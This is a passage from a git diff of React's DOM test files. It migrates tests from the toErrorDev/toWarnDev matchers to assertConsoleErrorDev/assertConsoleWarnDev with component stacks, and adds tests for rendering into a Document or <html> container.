     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(<MyComponent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<MyComponent />);
+    });
+    assertConsoleErrorDev([
       'MyComponent: getSnapshotBeforeUpdate() should be used with componentDidUpdate(). ' +
-        'This component defines getSnapshotBeforeUpdate() only.',
-    );
+        'This component defines getSnapshotBeforeUpdate() only.\n' +
+        '    in MyComponent (at **)',
+    ]);
 
     // De-duped
     await act(() => {
@@ -1497,36 +1452,30 @@ describe('ReactComponentLifeCycle', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<MyComponent x={1} />);
-      });
-    }).toWarnDev(
-      [
-        /* eslint-disable max-len */
-        `componentWillMount has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
+    await act(() => {
+      root.render(<MyComponent x={1} />);
+    });
+    assertConsoleWarnDev([
+      `componentWillMount has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move code with side effects to componentDidMount, and set initial state in the constructor.
 * Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \`npx react-codemod rename-unsafe-lifecycles\` in your project source folder.
 
 Please update the following components: MyComponent`,
-        `componentWillReceiveProps has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `componentWillReceiveProps has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 * If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state
 * Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \`npx react-codemod rename-unsafe-lifecycles\` in your project source folder.
 
 Please update the following components: MyComponent`,
-        `componentWillUpdate has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `componentWillUpdate has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 * Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \`npx react-codemod rename-unsafe-lifecycles\` in your project source folder.
 
 Please update the following components: MyComponent`,
-        /* eslint-enable max-len */
-      ],
-      {withoutStack: true},
-    );
+    ]);
 
     // Dedupe check (update and instantiate new)
     await act(() => {
diff --git a/packages/react-dom/src/__tests__/ReactCompositeComponent-test.js b/packages/react-dom/src/__tests__/ReactCompositeComponent-test.js
index 89d0b83abc3b..5a70daef069e 100644
--- a/packages/react-dom/src/__tests__/ReactCompositeComponent-test.js
+++ b/packages/react-dom/src/__tests__/ReactCompositeComponent-test.js
@@ -18,6 +18,7 @@ let ReactSharedInternals;
 let Scheduler;
 let assertLog;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactCompositeComponent', () => {
   const hasOwnProperty = Object.prototype.hasOwnProperty;
@@ -71,7 +72,7 @@ describe('ReactCompositeComponent', () => {
       require('react').__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;
     Scheduler = require('scheduler');
     assertLog = require('internal-test-utils').assertLog;
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   describe('MorphingComponent', () => {
@@ -308,16 +309,16 @@ describe('ReactCompositeComponent', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<MyComponent />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<MyComponent />);
+    });
+    assertConsoleErrorDev([
       "Can't call forceUpdate on a component that is not yet mounted. " +
         'This is a no-op, but it might indicate a bug in your application. ' +
         'Instead, assign to `this.state` directly or define a `state = {};` ' +
-        'class property with the desired state in the MyComponent component.',
-    );
+        'class property with the desired state in the MyComponent component.\n' +
+        '    in MyComponent (at **)',
+    ]);
 
     // No additional warning should be recorded
     const container2 = document.createElement('div');
@@ -342,16 +343,16 @@ describe('ReactCompositeComponent', () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<MyComponent />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<MyComponent />);
+    });
+    assertConsoleErrorDev([
       "Can't call setState on a component that is not yet mounted. " +
         'This is a no-op, but it might indicate a bug in your application. ' +
         'Instead, assign to `this.state` directly or define a `state = {};` ' +
-        'class property with the desired state in the MyComponent component.',
-    );
+        'class property with the desired state in the MyComponent component.\n' +
+        '    in MyComponent (at **)',
+    ]);
 
     // No additional warning should be recorded
     const container2 = document.createElement('div');
@@ -478,16 +479,16 @@ describe('ReactCompositeComponent', () => {
     }
     const root = ReactDOMClient.createRoot(container);
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<ClassWithRenderNotExtended />);
-        });
-      }).rejects.toThrow(TypeError);
-    }).toErrorDev(
+      await act(() => {
+        root.render(<ClassWithRenderNotExtended />);
+      });
+    }).rejects.toThrow(TypeError);
+    assertConsoleErrorDev([
       'The <ClassWithRenderNotExtended /> component appears to have a render method, ' +
         "but doesn't extend React.Component. This is likely to cause errors. " +
-        'Change ClassWithRenderNotExtended to extend React.Component instead.',
-    );
+        'Change ClassWithRenderNotExtended to extend React.Component instead.\n' +
+        '    in ClassWithRenderNotExtended (at **)',
+    ]);
 
     // Test deduplication
     await expect(async () => {
@@ -514,14 +515,14 @@ describe('ReactCompositeComponent', () => {
 
     let instance;
     const root = ReactDOMClient.createRoot(container);
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Component ref={ref => (instance = ref)} />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Component ref={ref => (instance = ref)} />);
+    });
+    assertConsoleErrorDev([
       'Cannot update during an existing state transition (such as within ' +
-        '`render`). Render methods should be a pure function of props and state.',
-    );
+        '`render`). Render methods should be a pure function of props and state.\n' +
+        '    in Component (at **)',
+    ]);
 
     // The setState call is queued and then executed as a second pass. This
     // behavior is undefined though so we're free to change it to suit the
@@ -537,11 +538,7 @@ describe('ReactCompositeComponent', () => {
   });
 
   it('should cleanup even if render() fatals', async () => {
-    const dispatcherEnabled =
-      __DEV__ ||
-      !gate(flags => flags.disableStringRefs) ||
-      gate(flags => flags.enableCache);
-    const ownerEnabled = __DEV__ || !gate(flags => flags.disableStringRefs);
+    const ownerEnabled = __DEV__;
 
     let stashedDispatcher;
     class BadComponent extends React.Component {
@@ -554,7 +551,7 @@ describe('ReactCompositeComponent', () => {
     }
 
     const instance = <BadComponent />;
-    expect(ReactSharedInternals.A).toBe(dispatcherEnabled ? null : undefined);
+    expect(ReactSharedInternals.A).toBe(null);
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
     await expect(async () => {
@@ -563,15 +560,11 @@ describe('ReactCompositeComponent', () => {
       });
     }).rejects.toThrow();
 
-    expect(ReactSharedInternals.A).toBe(dispatcherEnabled ? null : undefined);
-    if (dispatcherEnabled) {
-      if (ownerEnabled) {
-        expect(stashedDispatcher.getOwner()).toBe(null);
-      } else {
-        expect(stashedDispatcher.getOwner).toBe(undefined);
-      }
+    expect(ReactSharedInternals.A).toBe(null);
+    if (ownerEnabled) {
+      expect(stashedDispatcher.getOwner()).toBe(null);
     } else {
-      expect(stashedDispatcher).toBe(undefined);
+      expect(stashedDispatcher.getOwner).toBe(undefined);
     }
   });
 
@@ -626,14 +619,14 @@ describe('ReactCompositeComponent', () => {
       root.render(<ClassComponent ref={ref => (instance = ref)} />);
     });
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        instance.setState({bogus: true});
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      instance.setState({bogus: true});
+    });
+    assertConsoleErrorDev([
       'ClassComponent.shouldComponentUpdate(): Returned undefined instead of a ' +
-        'boolean value. Make sure to return true or false.',
-    );
+        'boolean value. Make sure to return true or false.\n' +
+        '    in ClassComponent (at **)',
+    ]);
   });
 
   it('should warn when componentDidUnmount method is defined', async () => {
@@ -646,15 +639,15 @@ describe('ReactCompositeComponent', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
       'Component has a method called ' +
         'componentDidUnmount(). But there is no such lifecycle method. ' +
-        'Did you mean componentWillUnmount()?',
-    );
+        'Did you mean componentWillUnmount()?\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('should warn when componentDidReceiveProps method is defined', () => {
@@ -668,17 +661,17 @@ describe('ReactCompositeComponent', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
       'Component has a method called ' +
         'componentDidReceiveProps(). But there is no such lifecycle method. ' +
         'If you meant to update the state in response to changing props, ' +
         'use componentWillReceiveProps(). If you meant to fetch data or ' +
-        'run side-effects or mutations after React has updated the UI, use componentDidUpdate().',
-    );
+        'run side-effects or mutations after React has updated the UI, use componentDidUpdate().\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('should warn when defaultProps was defined as an instance property', () => {
@@ -694,14 +687,14 @@ describe('ReactCompositeComponent', () => {
     }
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
       'Setting defaultProps as an instance property on Component is not supported ' +
-        'and will be ignored. Instead, define defaultProps as a static property on Component.',
-    );
+        'and will be ignored. Instead, define defaultProps as a static property on Component.\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('should skip update when rerendering element in container', async () => {
@@ -747,16 +740,16 @@ describe('ReactCompositeComponent', () => {
       }
     }
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Outer />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Outer />);
+    });
+    assertConsoleErrorDev([
       'Render methods should be a pure function of props and state; ' +
         'triggering nested component updates from render is not allowed. If ' +
-        'necessary, trigger nested updates in componentDidUpdate.\n\nCheck the ' +
-        'render method of Outer.',
-    );
+        'necessary, trigger nested updates in componentDidUpdate.\n\n' +
+        'Check the render method of Outer.\n' +
+        '    in Outer (at **)',
+    ]);
   });
 
   it('only renders once if updated in componentWillReceiveProps', async () => {
@@ -844,14 +837,14 @@ describe('ReactCompositeComponent', () => {
     }
 
     const root = ReactDOMClient.createRoot(container);
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Foo idx="qwe" />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Foo idx="qwe" />);
+    });
+    assertConsoleErrorDev([
       'When calling super() in `Foo`, make sure to pass ' +
-        "up the same props that your component's constructor was passed.",
-    );
+        "up the same props that your component's constructor was passed.\n" +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('should only call componentWillUnmount once', async () => {
@@ -1193,16 +1186,17 @@ describe('ReactCompositeComponent', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<RenderTextInvalidConstructor />);
-        });
-      }).rejects.toThrow();
-    }).toErrorDev([
+      await act(() => {
+        root.render(<RenderTextInvalidConstructor />);
+      });
+    }).rejects.toThrow();
+    assertConsoleErrorDev([
       'No `render` method found on the RenderTextInvalidConstructor instance: ' +
-        'did you accidentally return an object from the constructor?',
+        'did you accidentally return an object from the constructor?\n' +
+        '    in RenderTextInvalidConstructor (at **)',
       'No `render` method found on the RenderTextInvalidConstructor instance: ' +
-        'did you accidentally return an object from the constructor?',
+        'did you accidentally return an object from the constructor?\n' +
+        '    in RenderTextInvalidConstructor (at **)',
     ]);
   });
 
@@ -1218,14 +1212,14 @@ describe('ReactCompositeComponent', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Bad />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Bad />);
+    });
+    assertConsoleErrorDev([
       'It looks like Bad is reassigning its own `this.props` while rendering. ' +
-        'This is not supported and can lead to confusing bugs.',
-    );
+        'This is not supported and can lead to confusing bugs.\n' +
+        '    in Bad (at **)',
+    ]);
   });
 
   it('should return error if render is not defined', async () => {
@@ -1233,16 +1227,17 @@ describe('ReactCompositeComponent', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<RenderTestUndefinedRender />);
-        });
-      }).rejects.toThrow();
-    }).toErrorDev([
+      await act(() => {
+        root.render(<RenderTestUndefinedRender />);
+      });
+    }).rejects.toThrow();
+    assertConsoleErrorDev([
       'No `render` method found on the RenderTestUndefinedRender instance: ' +
-        'you may have forgotten to define `render`.',
+        'you may have forgotten to define `render`.\n' +
+        '    in RenderTestUndefinedRender (at **)',
       'No `render` method found on the RenderTestUndefinedRender instance: ' +
-        'you may have forgotten to define `render`.',
+        'you may have forgotten to define `render`.\n' +
+        '    in RenderTestUndefinedRender (at **)',
     ]);
   });
 
@@ -1394,13 +1389,15 @@ describe('ReactCompositeComponent', () => {
     }
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Parent />);
-      });
-    }).toErrorDev(
-      'Cannot update a component (`A`) while rendering a different component (`B`)',
-    );
+    ReactDOM.flushSync(() => {
+      root.render(<Parent />);
+    });
+    assertConsoleErrorDev([
+      'Cannot update a component (`A`) while rendering a different component (`B`). ' +
+        'To locate the bad setState() call inside `B`, ' +
+        'follow the stack trace as described in https://react.dev/link/setstate-in-render\n' +
+        '    in Parent (at **)',
+    ]);
 
     // We error, but still update the state.
     expect(ref.textContent).toBe('1');
diff --git a/packages/react-dom/src/__tests__/ReactCompositeComponentState-test.js b/packages/react-dom/src/__tests__/ReactCompositeComponentState-test.js
index a651a477a8e7..adfd4d5b4f58 100644
--- a/packages/react-dom/src/__tests__/ReactCompositeComponentState-test.js
+++ b/packages/react-dom/src/__tests__/ReactCompositeComponentState-test.js
@@ -17,13 +17,14 @@ let Scheduler;
 let assertLog;
 let TestComponent;
 let testComponentInstance;
+let assertConsoleErrorDev;
 
 describe('ReactCompositeComponent-state', () => {
   beforeEach(() => {
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
     Scheduler = require('scheduler');
 
     const InternalTestUtils = require('internal-test-utils');
@@ -469,15 +470,15 @@ describe('ReactCompositeComponent-state', () => {
       root.render(<Test />);
     });
     // Update
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Test />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Test />);
+    });
+    assertConsoleErrorDev([
       'Test.componentWillReceiveProps(): Assigning directly to ' +
         "this.state is deprecated (except inside a component's constructor). " +
-        'Use setState instead.',
-    );
+        'Use setState instead.\n' +
+        '    in Test (at **)',
+    ]);
 
     assertLog([
       'render -- step: 1, extra: true',
@@ -518,15 +519,15 @@ describe('ReactCompositeComponent-state', () => {
     // Mount
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<Test />);
-      });
-    }).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(<Test />);
+    });
+    assertConsoleErrorDev([
       'Test.componentWillMount(): Assigning directly to ' +
         "this.state is deprecated (except inside a component's constructor). " +
-        'Use setState instead.',
-    );
+        'Use setState instead.\n' +
+        '    in Test (at **)',
+    ]);
 
     assertLog([
       'render -- step: 3, extra: false',
@@ -566,13 +567,16 @@ describe('ReactCompositeComponent-state', () => {
     });
     expect(el.textContent).toBe('A');
 
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(<B />);
-      });
-    }).toErrorDev(
-      "Can't perform a React state update on a component that hasn't mounted yet",
-    );
+    ReactDOM.flushSync(() => {
+      root.render(<B />);
+    });
+    assertConsoleErrorDev([
+      "Can't perform a React state update on a component that hasn't mounted yet. " +
+        'This indicates that you have a side-effect in your render function that ' +
+        'asynchronously tries to update the component. ' +
+        'Move this work to useEffect instead.\n' +
+        '    in B (at **)',
+    ]);
   });
 
   // @gate !disableLegacyMode
diff --git a/packages/react-dom/src/__tests__/ReactDOM-test.js b/packages/react-dom/src/__tests__/ReactDOM-test.js
index c6c90d1cf15f..5397de0e2510 100644
--- a/packages/react-dom/src/__tests__/ReactDOM-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOM-test.js
@@ -14,7 +14,7 @@ let ReactDOM;
 let findDOMNode;
 let ReactDOMClient;
 let ReactDOMServer;
-
+let assertConsoleErrorDev;
 let act;
 
 describe('ReactDOM', () => {
@@ -28,7 +28,7 @@ describe('ReactDOM', () => {
       ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE
         .findDOMNode;
 
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   it('should bubble onSubmit', async () => {
@@ -188,55 +188,43 @@ describe('ReactDOM', () => {
 
     const myDiv = document.createElement('div');
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactDOM.render(<A />, myDiv, 'no');
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: no',
-      );
-    }).toErrorDev(
-      [
-        'Expected the last optional `callback` argument to be a function. Instead received: no.',
-        'Expected the last optional `callback` argument to be a function. Instead received: no.',
-      ],
-      {withoutStack: 2},
+      await act(() => {
+        ReactDOM.render(<A />, myDiv, 'no');
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: no',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be a function. Instead received: no.',
+      'Expected the last optional `callback` argument to be a function. Instead received: no.',
+    ]);
 
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactDOM.render(<A />, myDiv, {foo: 'bar'});
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: [object Object]',
-      );
-    }).toErrorDev(
-      [
-        "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }",
-        "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.",
-      ],
-      {withoutStack: 2},
+      await act(() => {
+        ReactDOM.render(<A />, myDiv, {foo: 'bar'});
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }",
+      "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.",
+    ]);
 
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactDOM.render(<A />, myDiv, new Foo());
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: [object Object]',
-      );
-    }).toErrorDev(
-      [
-        'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
-        'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
-      ],
-      {withoutStack: 2},
+      await act(() => {
+        ReactDOM.render(<A />, myDiv, new Foo());
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
+      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -257,57 +245,45 @@ describe('ReactDOM', () => {
     const myDiv = document.createElement('div');
     ReactDOM.render(<A />, myDiv);
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactDOM.render(<A />, myDiv, 'no');
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: no',
-      );
-    }).toErrorDev(
-      [
-        'Expected the last optional `callback` argument to be a function. Instead received: no.',
-        'Expected the last optional `callback` argument to be a function. Instead received: no.',
-      ],
-      {withoutStack: 2},
+      await act(() => {
+        ReactDOM.render(<A />, myDiv, 'no');
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: no',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be a function. Instead received: no.',
+      'Expected the last optional `callback` argument to be a function. Instead received: no.',
+    ]);
 
     ReactDOM.render(<A />, myDiv); // Re-mount
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactDOM.render(<A />, myDiv, {foo: 'bar'});
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: [object Object]',
-      );
-    }).toErrorDev(
-      [
-        "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.",
-        "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.",
-      ],
-      {withoutStack: 2},
+      await act(() => {
+        ReactDOM.render(<A />, myDiv, {foo: 'bar'});
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.",
+      "Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.",
+    ]);
 
     ReactDOM.render(<A />, myDiv); // Re-mount
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactDOM.render(<A />, myDiv, new Foo());
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: [object Object]',
-      );
-    }).toErrorDev(
-      [
-        'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
-        'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
-      ],
-      {withoutStack: 2},
+      await act(() => {
+        ReactDOM.render(<A />, myDiv, new Foo());
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
+      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',
+    ]);
   });
 
   it('preserves focus', async () => {
@@ -544,33 +520,437 @@ describe('ReactDOM', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(<App />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.render(<App />);
+    });
+    assertConsoleErrorDev([
       // ReactDOM(App > div > span)
       'Invalid ARIA attribute `ariaTypo`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '    in div (at **)\n') +
         '    in App (at **)',
       // ReactDOM(App > div > ServerEntry) >>> ReactDOMServer(Child) >>> ReactDOMServer(App2) >>> ReactDOMServer(blink)
       'Invalid ARIA attribute `ariaTypo2`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
-        '    in blink (at **)',
+        '    in blink (at **)\n' +
+        '    in App2 (at **)\n' +
+        '    in Child (at **)\n' +
+        '    in ServerEntry (at **)',
       // ReactDOM(App > div > ServerEntry) >>> ReactDOMServer(Child) >>> ReactDOMServer(App2 > Child2 > span)
       'Invalid ARIA attribute `ariaTypo3`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
         '    in Child2 (at **)\n' +
-        '    in App2 (at **)',
+        '    in App2 (at **)\n' +
+        '    in Child (at **)\n' +
+        '    in ServerEntry (at **)',
       // ReactDOM(App > div > ServerEntry) >>> ReactDOMServer(Child > span)
       'Invalid ARIA attribute `ariaTypo4`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in span (at **)\n' +
-        '    in Child (at **)',
+        '    in Child (at **)\n' +
+        '    in ServerEntry (at **)',
+
       // ReactDOM(App > div > font)
       'Invalid ARIA attribute `ariaTypo5`. ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in font (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '    in div (at **)\n') +
         '    in App (at **)',
     ]);
   });
+
+  it('should render root host components into body scope when the container is a Document', async () => {
+    function App({phase}) {
+      return (
+        <>
+          {phase < 1 ? null : <div>..before</div>}
+          {phase < 3 ? <div>before</div> : null}
+          {phase < 2 ? null : <div>before..</div>}
+          <html lang="en">
+            <head data-h="">
+              {phase < 1 ? null : <meta itemProp="" content="..head" />}
+              {phase < 3 ? <meta itemProp="" content="head" /> : null}
+              {phase < 2 ? null : <meta itemProp="" content="head.." />}
+            </head>
+            <body data-b="">
+              {phase < 1 ? null : <div>..inside</div>}
+              {phase < 3 ? <div>inside</div> : null}
+              {phase < 2 ? null : <div>inside..</div>}
+            </body>
+          </html>
+          {phase < 1 ? null : <div>..after</div>}
+          {phase < 3 ? <div>after</div> : null}
+          {phase < 2 ? null : <div>after..</div>}
+        </>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(document);
+    await act(() => {
+      root.render(<App phase={0} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head data-h=""><meta itemprop="" content="head"></head><body data-b=""><div>before</div><div>inside</div><div>after</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={1} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"></head><body data-b=""><div>..before</div><div>before</div><div>..inside</div><div>inside</div><div>..after</div><div>after</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={2} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"><meta itemprop="" content="head.."></head><body data-b=""><div>..before</div><div>before</div><div>before..</div><div>..inside</div><div>inside</div><div>inside..</div><div>..after</div><div>after</div><div>after..</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={3} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head.."></head><body data-b=""><div>..before</div><div>before..</div><div>..inside</div><div>inside..</div><div>..after</div><div>after..</div></body></html>',
+    );
+
+    await act(() => {
+      root.unmount();
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head></head><body></body></html>',
+    );
+  });
+
+  it('should render root host components into body scope when the container is a the <html> tag', async () => {
+    function App({phase}) {
+      return (
+        <>
+          {phase < 1 ? null : <div>..before</div>}
+          {phase < 3 ? <div>before</div> : null}
+          {phase < 2 ? null : <div>before..</div>}
+          <head data-h="">
+            {phase < 1 ? null : <meta itemProp="" content="..head" />}
+            {phase < 3 ? <meta itemProp="" content="head" /> : null}
+            {phase < 2 ? null : <meta itemProp="" content="head.." />}
+          </head>
+          <body data-b="">
+            {phase < 1 ? null : <div>..inside</div>}
+            {phase < 3 ? <div>inside</div> : null}
+            {phase < 2 ? null : <div>inside..</div>}
+          </body>
+          {phase < 1 ? null : <div>..after</div>}
+          {phase < 3 ? <div>after</div> : null}
+          {phase < 2 ? null : <div>after..</div>}
+        </>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(document.documentElement);
+    await act(() => {
+      root.render(<App phase={0} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="head"></head><body data-b=""><div>before</div><div>inside</div><div>after</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={1} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"></head><body data-b=""><div>..before</div><div>before</div><div>..inside</div><div>inside</div><div>..after</div><div>after</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={2} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"><meta itemprop="" content="head.."></head><body data-b=""><div>..before</div><div>before</div><div>before..</div><div>..inside</div><div>inside</div><div>inside..</div><div>..after</div><div>after</div><div>after..</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={3} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
